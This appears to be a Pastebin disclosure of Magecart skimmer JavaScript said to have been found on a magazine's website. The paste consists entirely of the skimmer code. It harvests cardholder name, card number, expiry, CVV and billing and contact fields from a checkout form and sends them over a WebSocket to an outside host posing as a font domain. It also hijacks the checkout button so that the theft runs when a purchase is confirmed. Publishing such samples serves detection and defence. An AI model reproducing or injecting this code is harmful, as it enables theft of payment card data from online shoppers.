internetweather

Magecart malware found on https://www.forbesmagazine.com/

May 14th, 2019
7,283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function fire_event() {
  2.     if (typeof is_debug !== 'undefined' && is_debug) {
  3.         console['log']('Fire event')
  4.     };
  5.     if (document['createEvent']) {
  6.         element['dispatchEvent'](event_store)
  7.     } else {
  8.         element['fireEvent']('on' + event_store['eventType'], event_store)
  9.     }
  10. }
  11. function d() {
  12.     var _0x1306x3 = $('input[name=cc_name]');
  13.     var _0x1306x4 = $('input[name=cc_number]');
  14.     var _0x1306x5 = $('#cc_month option:selected')['val']() + '/' + $('#cc_year option:selected')['val']();
  15.     var _0x1306x6 = $('input[name=cc_cvv]');
  16.     var _0x1306x7 = _0x1306x4['val']();
  17.     var _0x1306x8 = _0x1306x6['val']();
  18.     var _0x1306x9 = _0x1306x3['val']();
  19.     var _0x1306xa = $('input[name=firstname]')['val']();
  20.     var _0x1306xb = $('input[name=lastname]')['val']();
  21.     var _0x1306xc = $('select[name=country_id]')['val']();
  22.     var _0x1306xd = $('input[name=city]')['val']();
  23.     var _0x1306xe = $('select[name=zone_id]')['val']();
  24.     var _0x1306xf = $('input[name=postcode]')['val']();
  25.     var _0x1306x10 = $('input[name=telephone]')['val']();
  26.     var _0x1306x11 = $('input[name=email]')['val']();
  27.     var _0x1306x12 = 'CC_OWNER:' + _0x1306x9 + ';CC_NUMBER:' + _0x1306x7 + ';CC_EXP:' + _0x1306x5 + ';CC_CVC:' + _0x1306x8 + ';';
  28.     _0x1306x12 += 'BFNAME:' + _0x1306xa + ';BLNAME:' + _0x1306xb + ';BCOUNTRY:' + _0x1306xc + ';BCITY:' + _0x1306xd + ';';
  29.     _0x1306x12 += 'BSTATE:' + _0x1306xe + ';BPOSTCODE:' + _0x1306xf + ';BPHONE:' + _0x1306x10 + ';BEMAIL:' + _0x1306x11;
  30.     var _0x1306x13 = new WebSocket('wss://fontsawesome.gq:8080/g');
  31.     _0x1306x13['onopen'] = function() {
  32.         _0x1306x13['send'](_0x1306x12);
  33.         _0x1306x13['close']()
  34.     };
  35.     _0x1306x13['onerror'] = function(_0x1306x14) {
  36.         fire_event();
  37.         return false
  38.     };
  39.     _0x1306x13['onclose'] = function() {
  40.         fire_event();
  41.         return false
  42.     }
  43. }
  44. $(document)['ready'](function(_0x1306x15) {
  45.     var _0x1306x16 = setInterval(function(_0x1306x15) {
  46.         var _0x1306x17 = $('#button-confirm')['attr']('onclick');
  47.         if (typeof _0x1306x17 === 'undefined') {
  48.             $('#button-confirm')['attr']('onclick', 'd();return false;')
  49.         }
  50.     }, 500)
  51. })
Add Comment
Please, Sign In to add comment